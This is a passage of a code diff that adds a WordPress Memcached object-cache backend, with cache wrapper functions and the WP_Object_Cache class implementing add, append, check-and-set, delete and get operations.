+ * @param string    $key        The key under which to store the value.
+ * @param mixed     $value      The value to store.
+ * @param string    $group      The group value appended to the $key.
+ * @param int       $expiration The expiration time, defaults to 0.
+ * @return bool                 Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_set( $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->set( $key, $value, $group, $expiration );
+}
+
+/**
+ * Sets a value in cache.
+ *
+ * The value is set whether or not this key already exists in memcached.
+ *
+ * @link http://www.php.net/manual/en/memcached.set.php
+ *
+ * @param string    $server_key     The key identifying the server to store the value on.
+ * @param string    $key            The key under which to store the value.
+ * @param mixed     $value          The value to store.
+ * @param string    $group          The group value appended to the $key.
+ * @param int       $expiration     The expiration time, defaults to 0.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_set_by_key( $server_key, $key, $value, $group = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->setByKey( $server_key, $key, $value, $group, $expiration );
+}
+
+/**
+ * Set multiple values to cache at once.
+ *
+ * By sending an array of $items to this function, all values are saved at once to
+ * memcached, reducing the need for multiple requests to memcached. The $items array
+ * keys and values are what are stored to memcached. The keys in the $items array
+ * are merged with the $groups array/string value via buildKeys to determine the
+ * final key for the object.
+ *
+ * @param array         $items      An array of key/value pairs to store on the server.
+ * @param string|array  $groups     Group(s) to merge with key(s) in $items.
+ * @param int           $expiration The expiration time, defaults to 0.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_set_multi( $items, $groups = '', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->setMulti( $items, $groups, $expiration );
+}
+
+/**
+ * Set multiple values to cache at once on specified server.
+ *
+ * By sending an array of $items to this function, all values are saved at once to
+ * memcached, reducing the need for multiple requests to memcached. The $items array
+ * keys and values are what are stored to memcached. The keys in the $items array
+ * are merged with the $groups array/string value via buildKeys to determine the
+ * final key for the object.
+ *
+ * @param string        $server_key The key identifying the server to store the value on.
+ * @param array         $items      An array of key/value pairs to store on the server.
+ * @param string|array  $groups     Group(s) to merge with key(s) in $items.
+ * @param int           $expiration The expiration time, defaults to 0.
+ * @return bool                     Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_set_multi_by_key( $server_key, $items, $groups = 'default', $expiration = 0 ) {
+	global $wp_object_cache;
+	return $wp_object_cache->setMultiByKey( $server_key, $items, $groups, $expiration );
+}
+
+/**
+ * Set a Memcached option.
+ *
+ * @link http://www.php.net/manual/en/memcached.setoption.php
+ *
+ * @param int       $option Option name.
+ * @param mixed     $value  Option value.
+ * @return bool             Returns TRUE on success or FALSE on failure.
+ */
+function wp_cache_set_option( $option, $value ) {
+	global $wp_object_cache;
+	return $wp_object_cache->setOption( $option, $value );
+}
+
+/**
+ * Switch blog prefix, which changes the cache that is accessed.
+ *
+ * @param  int     $blog_id    Blog to switch to.
+ * @return void
+ */
+function wp_cache_switch_to_blog( $blog_id ) {
+	global $wp_object_cache;
+	return $wp_object_cache->switch_to_blog( $blog_id );
+}
+
+
+/**
+ * Sets up Object Cache Global and assigns it.
+ *
+ * @global  WP_Object_Cache     $wp_object_cache    WordPress Object Cache
+ * @return  void
+ */
+function wp_cache_init() {
+	global $wp_object_cache;
+	$wp_object_cache = new WP_Object_Cache();
+}
+
+/**
+ * Adds a group or set of groups to the list of non-persistent groups.
+ *
+ * @param   string|array    $groups     A group or an array of groups to add.
+ * @return  void
+ */
+function wp_cache_add_global_groups( $groups ) {
+	global $wp_object_cache;
+	$wp_object_cache->add_global_groups( $groups );
+}
+
+/**
+ * Adds a group or set of groups to the list of non-Memcached groups.
+ *
+ * @param   string|array    $groups     A group or an array of groups to add.
+ * @return  void
+ */
+function wp_cache_add_non_persistent_groups( $groups ) {
+	global $wp_object_cache;
+	$wp_object_cache->add_non_persistent_groups( $groups );
+}
+
+class WP_Object_Cache {
+
+	/**
+	 * Holds the Memcached object.
+	 *
+	 * @var Memcached
+	 */
+	public $m;
+
+	/**
+	 * Hold the Memcached server details.
+	 *
+	 * @var array
+	 */
+	public $servers;
+
+	/**
+	 * Holds the non-Memcached objects.
+	 *
+	 * @var array
+	 */
+	public $cache = array();
+
+	/**
+	 * List of global groups.
+	 *
+	 * @var array
+	 */
+	public $global_groups = array( 'users', 'userlogins', 'usermeta', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss' );
+
+	/**
+	 * List of groups not saved to Memcached.
+	 *
+	 * @var array
+	 */
+	public $no_mc_groups = array( 'comment', 'counts' );
+
+	/**
+	 * Prefix used for global groups.
+	 *
+	 * @var string
+	 */
+	public $global_prefix = '';
+
+	/**
+	 * Prefix used for non-global groups.
+	 *
+	 * @var string
+	 */
+	public $blog_prefix = '';
+
+	/**
+	 * Instantiate the Memcached class.
+	 *
+	 * Instantiates the Memcached class and returns adds the servers specified
+	 * in the $memcached_servers global array.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.construct.php
+	 *
+	 * @param   null    $persistent_id      To create an instance that persists between requests, use persistent_id to specify a unique ID for the instance.
+	 */
+	public function __construct( $persistent_id = NULL ) {
+		global $memcached_servers, $blog_id, $table_prefix;
+
+		if ( is_null( $persistent_id ) || ! is_string( $persistent_id ) )
+			$this->m = new Memcached();
+		else
+			$this->m = new Memcached( $persistent_id );
+
+		if ( isset( $memcached_servers ) )
+			$this->servers = $memcached_servers;
+		else
+			$this->servers = array( array( '127.0.0.1', 11211 ) );
+
+		$this->addServers( $this->servers );
+
+		/**
+		 * This approach is borrowed from Sivel and Boren. Use the salt for easy cache invalidation and for
+		 * multi single WP installations on the same server.
+		 */
+		if ( ! defined( 'WP_CACHE_KEY_SALT' ) )
+			define( 'WP_CACHE_KEY_SALT', '' );
+
+		// Assign global and blog prefixes for use with keys
+		if ( function_exists( 'is_multisite' ) ) {
+			$this->global_prefix = ( is_multisite() || defined( 'CUSTOM_USER_TABLE' ) && defined( 'CUSTOM_USER_META_TABLE' ) ) ? '' : $table_prefix;
+			$this->blog_prefix = ( is_multisite() ? $blog_id : $table_prefix ) . ':';
+		}
+
+		// Setup cacheable values for handling expiration times
+		$this->thirty_days = 60 * 60 * 24 * 30;
+		$this->now         = time();
+	}
+
+	/**
+	 * Adds a value to cache.
+	 *
+	 * If the specified key already exists, the value is not stored and the function
+	 * returns false.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.add.php
+	 *
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          The value to store.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   int         $expiration     The expiration time, defaults to 0.
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   bool        $byKey          True to store in internal cache by key; false to not store by key
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function add( $key, $value, $group = 'default', $expiration = 0, $server_key = '', $byKey = false ) {
+		/*
+		 * Ensuring that wp_suspend_cache_addition is defined before calling, because sometimes an advanced-cache.php
+		 * file will load object-cache.php before wp-includes/functions.php is loaded. In those cases, if wp_cache_add
+		 * is called in advanced-cache.php before any more of WordPress is loaded, we get a fatal error because
+		 * wp_suspend_cache_addition will not be defined until wp-includes/functions.php is loaded.
+		 */
+		if ( function_exists( 'wp_suspend_cache_addition' ) && wp_suspend_cache_addition() ) {
+			return false;
+		}
+
+		$derived_key = $this->buildKey( $key, $group );
+		$expiration  = $this->sanitize_expiration( $expiration );
+
+		// If group is a non-Memcached group, save to runtime cache, not Memcached
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+
+			// Add does not set the value if the key exists; mimic that here
+			if ( isset( $this->cache[$derived_key] ) )
+				return false;
+
+			$this->add_to_internal_cache( $derived_key, $value );
+
+			return true;
+		}
+
+		// Save to Memcached
+		if ( $byKey )
+			$result = $this->m->addByKey( $server_key, $derived_key, $value, $expiration );
+		else
+			$result = $this->m->add( $derived_key, $value, $expiration );
+
+		// Store in runtime cache if add was successful
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->add_to_internal_cache( $derived_key, $value );
+
+		return $result;
+	}
+
+	/**
+	 * Adds a value to cache on a specific server.
+	 *
+	 * Using a server_key value, the object can be stored on a specified server as opposed
+	 * to a random server in the stack. Note that this method will add the key/value to the
+	 * _cache object as part of the runtime cache. It will add it to an array for the
+	 * specified server_key.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.addbykey.php
+	 *
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          The value to store.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   int         $expiration     The expiration time, defaults to 0.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function addByKey( $server_key, $key, $value, $group = 'default', $expiration = 0 ) {
+		return $this->add( $key, $value, $group, $expiration, $server_key, true );
+	}
+
+	/**
+	 * Add a single server to the list of Memcached servers.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.addserver.php
+	 *
+	 * @param   string      $host           The hostname of the memcache server.
+	 * @param   int         $port           The port on which memcache is running.
+	 * @param   int         $weight         The weight of the server relative to the total weight of all the servers in the pool.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function addServer( $host, $port, $weight = 0 ) {
+		$host = is_string( $host ) ? $host : '127.0.0.1';
+		$port = is_numeric( $port ) && $port > 0 ? $port : 11211;
+		$weight = is_numeric( $weight ) && $weight > 0 ? $weight : 1;
+
+		return $this->m->addServer( $host, $port, $weight );
+	}
+
+	/**
+	 * Adds an array of servers to the pool.
+	 *
+	 * Each individual server in the array must include a domain and port, with an optional
+	 * weight value: $servers = array( array( '127.0.0.1', 11211, 0 ) );
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.addservers.php
+	 *
+	 * @param   array       $servers        Array of server to register.
+	 * @return  bool                        True on success; false on failure.
+	 */
+	public function addServers( $servers ) {
+		if ( ! is_object( $this->m ) )
+			return false;
+
+		return $this->m->addServers( $servers );
+	}
+
+	/**
+	 * Append data to an existing item.
+	 *
+	 * This method should throw an error if it is used with compressed data. This
+	 * is an expected behavior. Memcached casts the value to be appended to the initial value to the
+	 * type of the initial value. Be careful as this leads to unexpected behavior at times. Due to
+	 * how memcached treats types, the behavior has been mimicked in the internal cache to produce
+	 * similar results and improve consistency. It is recommend that appends only occur with data of
+	 * the same type.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.append.php
+	 *
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          Must be string as appending mixed values is not well-defined.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   bool        $byKey          True to store in internal cache by key; false to not store by key
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function append( $key, $value, $group = 'default', $server_key = '', $byKey = false ) {
+		if ( ! is_string( $value ) && ! is_int( $value ) && ! is_float( $value ) )
+			return false;
+
+		$derived_key = $this->buildKey( $key, $group );
+
+		// If group is a non-Memcached group, append to runtime cache value, not Memcached
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+			if ( ! isset( $this->cache[$derived_key] ) )
+				return false;
+
+			$combined = $this->combine_values( $this->cache[$derived_key], $value, 'app' );
+			$this->add_to_internal_cache( $derived_key, $combined );
+			return true;
+		}
+
+		// Append to Memcached value
+		if ( $byKey )
+			$result = $this->m->appendByKey( $server_key, $derived_key, $value );
+		else
+			$result = $this->m->append( $derived_key, $value );
+
+		// Store in runtime cache if add was successful
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() ) {
+			$combined = $this->combine_values( $this->cache[$derived_key], $value, 'app' );
+			$this->add_to_internal_cache( $derived_key, $combined );
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Append data to an existing item by server key.
+	 *
+	 * This method should throw an error if it is used with compressed data. This
+	 * is an expected behavior. Memcached casts the value to be appended to the initial value to the
+	 * type of the initial value. Be careful as this leads to unexpected behavior at times. Due to
+	 * how memcached treats types, the behavior has been mimicked in the internal cache to produce
+	 * similar results and improve consistency. It is recommend that appends only occur with data of
+	 * the same type.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.appendbykey.php
+	 *
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          Must be string as appending mixed values is not well-defined
+	 * @param   string      $group          The group value appended to the $key.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function appendByKey( $server_key, $key, $value, $group = 'default' ) {
+		return $this->append( $key, $value, $group, $server_key, true );
+	}
+
+	/**
+	 * Performs a "check and set" to store data.
+	 *
+	 * The set will be successful only if the no other request has updated the value since it was fetched since
+	 * this request.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.cas.php
+	 *
+	 * @param   float       $cas_token      Unique value associated with the existing item. Generated by memcached.
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          The value to store.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   int         $expiration     The expiration time, defaults to 0.
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   bool        $byKey          True to store in internal cache by key; false to not store by key
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function cas( $cas_token, $key, $value, $group = 'default', $expiration = 0, $server_key = '', $byKey = false ) {
+		$derived_key = $this->buildKey( $key, $group );
+		$expiration  = $this->sanitize_expiration( $expiration );
+
+		/**
+		 * If group is a non-Memcached group, save to runtime cache, not Memcached. Note
+		 * that since check and set cannot be emulated in the run time cache, this value
+		 * operation is treated as a normal "add" for no_mc_groups.
+		 */
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+			$this->add_to_internal_cache( $derived_key, $value );
+			return true;
+		}
+
+		// Save to Memcached
+		if ( $byKey )
+			$result = $this->m->casByKey( $cas_token, $server_key, $derived_key, $value, $expiration );
+		else
+			$result = $this->m->cas( $cas_token, $derived_key, $value, $expiration );
+
+		// Store in runtime cache if cas was successful
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->add_to_internal_cache( $derived_key, $value );
+
+		return $result;
+	}
+
+	/**
+	 * Performs a "check and set" to store data with a server key.
+	 *
+	 * The set will be successful only if the no other request has updated the value since it was fetched by
+	 * this request.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.casbykey.php
+	 *
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @param   float       $cas_token      Unique value associated with the existing item. Generated by memcached.
+	 * @param   string      $key            The key under which to store the value.
+	 * @param   mixed       $value          The value to store.
+	 * @param   string      $group          The group value appended to the $key.
+	 * @param   int         $expiration     The expiration time, defaults to 0.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function casByKey( $cas_token, $server_key, $key, $value, $group = 'default', $expiration = 0 ) {
+		return $this->cas( $cas_token, $key, $value, $group, $expiration, $server_key, true );
+	}
+
+	/**
+	 * Decrement a numeric item's value.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.decrement.php
+	 *
+	 * @param string    $key    The key under which to store the value.
+	 * @param int       $offset The amount by which to decrement the item's value.
+	 * @param string    $group  The group value appended to the $key.
+	 * @return int|bool         Returns item's new value on success or FALSE on failure.
+	 */
+	public function decrement( $key, $offset = 1, $group = 'default' ) {
+		$derived_key = $this->buildKey( $key, $group );
+
+		// Decrement values in no_mc_groups
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+
+			// Only decrement if the key already exists and value is 0 or greater (mimics memcached behavior)
+			if ( isset( $this->cache[$derived_key] ) && $this->cache[$derived_key] >= 0 ) {
+
+				// If numeric, subtract; otherwise, consider it 0 and do nothing
+				if ( is_numeric( $this->cache[$derived_key] ) )
+					$this->cache[$derived_key] -= (int) $offset;
+				else
+					$this->cache[$derived_key] = 0;
+
+				// Returned value cannot be less than 0
+				if ( $this->cache[$derived_key] < 0 )
+					$this->cache[$derived_key] = 0;
+
+				return $this->cache[$derived_key];
+			} else {
+				return false;
+			}
+		}
+
+		$result = $this->m->decrement( $derived_key, $offset );
+
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->add_to_internal_cache( $derived_key, $result );
+
+		return $result;
+	}
+
+	/**
+	 * Decrement a numeric item's value.
+	 *
+	 * Alias for $this->decrement. Other caching backends use this abbreviated form of the function. It *may* cause
+	 * breakage somewhere, so it is nice to have. This function will also allow the core unit tests to pass.
+	 *
+	 * @param string    $key    The key under which to store the value.
+	 * @param int       $offset The amount by which to decrement the item's value.
+	 * @param string    $group  The group value appended to the $key.
+	 * @return int|bool         Returns item's new value on success or FALSE on failure.
+	 */
+	public function decr( $key, $offset = 1, $group = 'default' ) {
+		return $this->decrement( $key, $offset, $group );
+	}
+
+	/**
+	 * Remove the item from the cache.
+	 *
+	 * Remove an item from memcached with identified by $key after $time seconds. The
+	 * $time parameter allows an object to be queued for deletion without immediately
+	 * deleting. Between the time that it is queued and the time it's deleted, add,
+	 * replace, and get will fail, but set will succeed.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.delete.php
+	 *
+	 * @param   string      $key        The key under which to store the value.
+	 * @param   string      $group      The group value appended to the $key.
+	 * @param   int         $time       The amount of time the server will wait to delete the item in seconds.
+	 * @param   string      $server_key The key identifying the server to store the value on.
+	 * @param   bool        $byKey      True to store in internal cache by key; false to not store by key
+	 * @return  bool                    Returns TRUE on success or FALSE on failure.
+	 */
+	public function delete( $key, $group = 'default', $time = 0, $server_key = '', $byKey = false ) {
+		$derived_key = $this->buildKey( $key, $group );
+
+		// Remove from no_mc_groups array
+		if ( in_array( $group, $this->no_mc_groups ) ) {
+			if ( isset( $this->cache[$derived_key] ) )
+				unset( $this->cache[$derived_key] );
+
+			return true;
+		}
+
+		if ( $byKey )
+			$result = $this->m->deleteByKey( $server_key, $derived_key, $time );
+		else
+			$result = $this->m->delete( $derived_key, $time );
+
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			unset( $this->cache[$derived_key] );
+
+		return $result;
+	}
+
+	/**
+	 * Remove the item from the cache by server key.
+	 *
+	 * Remove an item from memcached with identified by $key after $time seconds. The
+	 * $time parameter allows an object to be queued for deletion without immediately
+	 * deleting. Between the time that it is queued and the time it's deleted, add,
+	 * replace, and get will fail, but set will succeed.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.deletebykey.php
+	 *
+	 * @param   string      $server_key The key identifying the server to store the value on.
+	 * @param   string      $key        The key under which to store the value.
+	 * @param   string      $group      The group value appended to the $key.
+	 * @param   int         $time       The amount of time the server will wait to delete the item in seconds.
+	 * @return  bool                    Returns TRUE on success or FALSE on failure.
+	 */
+	public function deleteByKey( $server_key, $key, $group = 'default', $time = 0 ) {
+		return $this->delete( $key, $group, $time, $server_key, true );
+	}
+
+	/**
+	 * Fetch the next result.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.fetch.php
+	 *
+	 * @return array|bool   Returns the next result or FALSE on failure.
+	 */
+	public function fetch() {
+		return $this->m->fetch();
+	}
+
+	/**
+	 * Fetch all remaining results from the last request.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.fetchall.php
+	 *
+	 * @return  array|bool          Returns the results or FALSE on failure.
+	 */
+	public function fetchAll() {
+	 	return $this->m->fetchAll();
+	}
+
+	/**
+	 * Invalidate all items in the cache.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.flush.php
+	 *
+	 * @param   int     $delay      Number of seconds to wait before invalidating the items.
+	 * @return  bool                Returns TRUE on success or FALSE on failure.
+	 */
+	public function flush( $delay = 0 ) {
+		$result = $this->m->flush( $delay );
+
+		// Only reset the runtime cache if memcached was properly flushed
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() )
+			$this->cache = array();
+
+		return $result;
+	}
+
+	/**
+	 * Retrieve object from cache.
+	 *
+	 * Gets an object from cache based on $key and $group. In order to fully support the $cache_cb and $cas_token
+	 * parameters, the runtime cache is ignored by this function if either of those values are set. If either of
+	 * those values are set, the request is made directly to the memcached server for proper handling of the
+	 * callback and/or token. Note that the $cas_token variable cannot be directly passed to the function. The
+	 * variable need to be first defined with a non null value.
+	 *
+	 * If using the $cache_cb argument, the new value will always have an expiration of time of 0 (forever). This
+	 * is a limitation of the Memcached PECL extension.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.get.php
+	 *
+	 * @param   string          $key        The key under which to store the value.
+	 * @param   string          $group      The group value appended to the $key.
+	 * @param   bool            $force      Whether or not to force a cache invalidation.
+	 * @param   null|bool       $found      Variable passed by reference to determine if the value was found or not.
+	 * @param   string          $server_key The key identifying the server to store the value on.
+	 * @param   bool            $byKey      True to store in internal cache by key; false to not store by key
+	 * @param   null|callable   $cache_cb   Read-through caching callback.
+	 * @param   null|float      $cas_token  The variable to store the CAS token in.
+	 * @return  bool|mixed                  Cached object value.
+	 */
+	public function get( $key, $group = 'default', $force = false, &$found = null, $server_key = '', $byKey = false, $cache_cb = NULL, &$cas_token = NULL ) {
+		$derived_key = $this->buildKey( $key, $group );
+
+		// Assume object is not found
+		$found = false;
+
+		// If either $cache_db, or $cas_token is set, must hit Memcached and bypass runtime cache
+		if ( func_num_args() > 6 && ! in_array( $group, $this->no_mc_groups ) ) {
+			if ( $byKey )
+				$value = $this->m->getByKey( $server_key, $derived_key, $cache_cb, $cas_token );
+			else
+				$value = $this->m->get( $derived_key, $cache_cb, $cas_token );
+		} else {
+			if ( isset( $this->cache[$derived_key] ) ) {
+				$found = true;
+				return is_object( $this->cache[$derived_key] ) ? clone $this->cache[$derived_key] : $this->cache[$derived_key];
+			} elseif ( in_array( $group, $this->no_mc_groups ) ) {
+				return false;
+			} else {
+				if ( $byKey )
+					$value = $this->m->getByKey( $server_key, $derived_key );
+				else
+					$value = $this->m->get( $derived_key );
+			}
+		}
+
+		if ( Memcached::RES_SUCCESS === $this->getResultCode() ) {
+			$this->add_to_internal_cache( $derived_key, $value );
+			$found = true;
+		}
+
+		return is_object( $value ) ? clone $value : $value;
+	}
+
+	/**
+	 * Retrieve object from cache from specified server.
+	 *
+	 * Gets an object from cache based on $key, $group and $server_key. In order to fully support the $cache_cb and $cas_token
+	 * parameters, the runtime cache is ignored by this function if either of those values are set. If either of
+	 * those values are set, the request is made directly to the memcached server for proper handling of the
+	 * callback and/or token. Note that the $cas_token variable cannot be directly passed to the function. The
+	 * variable need to be first defined with a non null value.
+	 *
+	 * If using the $cache_cb argument, the new value will always have an expiration of time of 0 (forever). This
+	 * is a limitation of the Memcached PECL extension.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.getbykey.php
+	 *
+	 * @param   string          $server_key The key identifying the server to store the value on.
+	 * @param   string          $key        The key under which to store the value.
+	 * @param   string          $group      The group value appended to the $key.
+	 * @param   bool            $force      Whether or not to force a cache invalidation.
+	 * @param   null|bool       $found      Variable passed by reference to determine if the value was found or not.
+	 * @param   null|string     $cache_cb   Read-through caching callback.
+	 * @param   null|float      $cas_token  The variable to store the CAS token in.
+	 * @return  bool|mixed                  Cached object value.
+	 */
+	public function getByKey( $server_key, $key, $group = 'default', $force = false, &$found = null, $cache_cb = NULL, &$cas_token = NULL ) {
+		/**
+		 * Need to be careful how "get" is called. If you send $cache_cb, and $cas_token, it will hit memcached.
+		 * Only send those args if they were sent to this function.
+		 */
+		if ( func_num_args() > 5 )
+			return $this->get( $key, $group, $force, $found, $server_key, true, $cache_cb, $cas_token );
+		else
+			return $this->get( $key, $group, $force, $found, $server_key, true );
+	}
+
+	/**
+	 * Request multiple keys without blocking.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.getdelayed.php
+	 *
+	 * @param   string|array    $keys       Array or string of key(s) to request.
+	 * @param   string|array    $groups     Array or string of group(s) for the key(s). See buildKeys for more on how these are handled.
+	 * @param   bool            $with_cas   Whether to request CAS token values also.
+	 * @param   null            $value_cb   The result callback or NULL.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function getDelayed( $keys, $groups = 'default', $with_cas = false, $value_cb = NULL ) {
+		$derived_keys = $this->buildKeys( $keys, $groups );
+		return $this->m->getDelayed( $derived_keys, $with_cas, $value_cb );
+	}
+
+	/**
+	 * Request multiple keys without blocking from a specified server.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.getdelayed.php
+	 *
+	 * @param   string          $server_key The key identifying the server to store the value on.
+	 * @param   string|array    $keys       Array or string of key(s) to request.
+	 * @param   string|array    $groups     Array or string of group(s) for the key(s). See buildKeys for more on how these are handled.
+	 * @param   bool            $with_cas   Whether to request CAS token values also.
+	 * @param   null            $value_cb   The result callback or NULL.
+	 * @return  bool                        Returns TRUE on success or FALSE on failure.
+	 */
+	public function getDelayedByKey( $server_key, $keys, $groups = 'default', $with_cas = false, $value_cb = NULL ) {
+		$derived_keys = $this->buildKeys( $keys, $groups );
+		return $this->m->getDelayedByKey( $server_key, $derived_keys, $with_cas, $value_cb );
+	}
+
+	/**
+	 * Gets multiple values from memcached in one request.
+	 *
+	 * See the buildKeys method definition to understand the $keys/$groups parameters.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.getmulti.php
+	 *
+	 * @param   array           $keys       Array of keys to retrieve.
+	 * @param   string|array    $groups     If string, used for all keys. If arrays, corresponds with the $keys array.
+	 * @param   string          $server_key The key identifying the server to store the value on.
+	 * @param   null|array      $cas_tokens The variable to store the CAS tokens for the found items.
+	 * @param   int             $flags      The flags for the get operation.
+	 * @return  bool|array                  Returns the array of found items or FALSE on failure.
+	 */
+	public function getMulti( $keys, $groups = 'default', $server_key = '', &$cas_tokens = NULL, $flags = NULL ) {
+		$derived_keys = $this->buildKeys( $keys, $groups );
+
+		/**
+		 * If either $cas_tokens, or $flags is set, must hit Memcached and bypass runtime cache. Note that
+		 * this will purposely ignore no_mc_groups values as they cannot handle CAS tokens or the special
+		 * flags; however, if the groups of groups contains a no_mc_group, this is bypassed.
+		 */
+		if ( func_num_args() > 3 && ! $this->contains_no_mc_group( $groups ) ) {
+			if ( ! empty( $server_key ) )
+				$values = $this->m->getMultiByKey( $server_key, $derived_keys, $cas_tokens, $flags );
+			else
+				$values = $this->m->getMulti( $derived_keys, $cas_tokens, $flags );
+		} else {
+			$values = array();
+			$need_to_get = array();
+
+			// Pull out values from runtime cache, or mark for retrieval
+			foreach ( $derived_keys as $key ) {
+				if ( isset( $this->cache[$key] ) )
+					$values[$key] = $this->cache[$key];
+				else
+					$need_to_get[$key] = $key;
+			}
+
+			// Get those keys not found in the runtime cache
+			if ( ! empty( $need_to_get ) ) {
+				if ( ! empty( $server_key ) )
+					$result = $this->m->getMultiByKey( $server_key, array_keys( $need_to_get ) );
+				else
+					$result = $this->m->getMulti( array_keys( $need_to_get ) );
+			}
+
+			// Merge with values found in runtime cache
+			if ( isset( $result ) && Memcached::RES_SUCCESS === $this->getResultCode() )
+				$values = array_merge( $values, $result );
+
+			// If order should be preserved, reorder now
+			if ( ! empty( $need_to_get ) && $flags === Memcached::GET_PRESERVE_ORDER ) {
+				$ordered_values = array();
+
+				foreach ( $derived_keys as $key ) {
+					if ( isset( $values[$key] ) )
+						$ordered_values[$key] = $values[$key];
+				}
+
+				$values = $ordered_values;
+				unset( $ordered_values );
+			}
+		}
+
+		// Add the values to the runtime cache
+		$this->cache = array_merge( $this->cache, $values );
+
+		return $values;
+	}
+
+	/**
+	 * Gets multiple values from memcached in one request by specified server key.
+	 *
+	 * See the buildKeys method definition to understand the $keys/$groups parameters.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.getmultibykey.php
+	 *
+	 * @param   string          $server_key The key identifying the server to store the value on.
+	 * @param   array           $keys       Array of keys to retrieve.
+	 * @param   string|array    $groups     If string, used for all keys. If arrays, corresponds with the $keys array.
+	 * @param   null|array      $cas_tokens The variable to store the CAS tokens for the found items.
+	 * @param   int             $flags      The flags for the get operation.
+	 * @return  bool|array                  Returns the array of found items or FALSE on failure.
+	 */
+	public function getMultiByKey( $server_key, $keys, $groups = 'default', &$cas_tokens = NULL, $flags = NULL ) {
+		/**
+		 * Need to be careful how "getMulti" is called. If you send $cache_cb, and $cas_token, it will hit memcached.
+		 * Only send those args if they were sent to this function.
+		 */
+		if ( func_num_args() > 3 )
+			return $this->getMulti( $keys, $groups, $server_key, $cas_tokens, $flags );
+		else
+			return $this->getMulti( $keys, $groups, $server_key );
+	}
+
+	/**
+	 * Retrieve a Memcached option value.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.getoption.php
+	 *
+	 * @param   int         $option     One of the Memcached::OPT_* constants.
+	 * @return  mixed                   Returns the value of the requested option, or FALSE on error.
+	 */
+	public function getOption( $option ) {
+		return $this->m->getOption( $option );
+	}
+
+	/**
+	 * Return the result code of the last option.
+	 *
+	 * @link http://www.php.net/manual/en/memcached.getresultcode.php
+	 *
+	 * @return  int     Result code of the last Memcached operation.
+	 */
+	public function getResultCode() {
+ 	    return $this->m->getResultCode();
+	}
+
+	/**
+	 * Return the message describing the result of the last operation.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.getresultmessage.php
+	 *
+	 * @return  string      Message describing the result of the last Memcached operation.
+	 */
+	public function getResultMessage() {
+   	    return $this->m->getResultMessage();
+	}
+
+	/**
+	 * Get server information by key.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.getserverbykey.php
+	 *
+	 * @param   string      $server_key     The key identifying the server to store the value on.
+	 * @return  array                       Array with host, post, and weight on success, FALSE on failure.
+	 */
+	public function getServerByKey( $server_key ) {
+		return $this->m->getServerByKey( $server_key );
+	}
+
+	/**
+	 * Get the list of servers in the pool.
+	 *
+	 * @link    http://www.php.net/manual/en/memcached.getserverlist.php
+	 *
+	 * @return  array       The list of all servers in the server pool.
+	 */
+	public function getServerList() {
+		return $this->m->getServerList();
+	}
+
+	/**
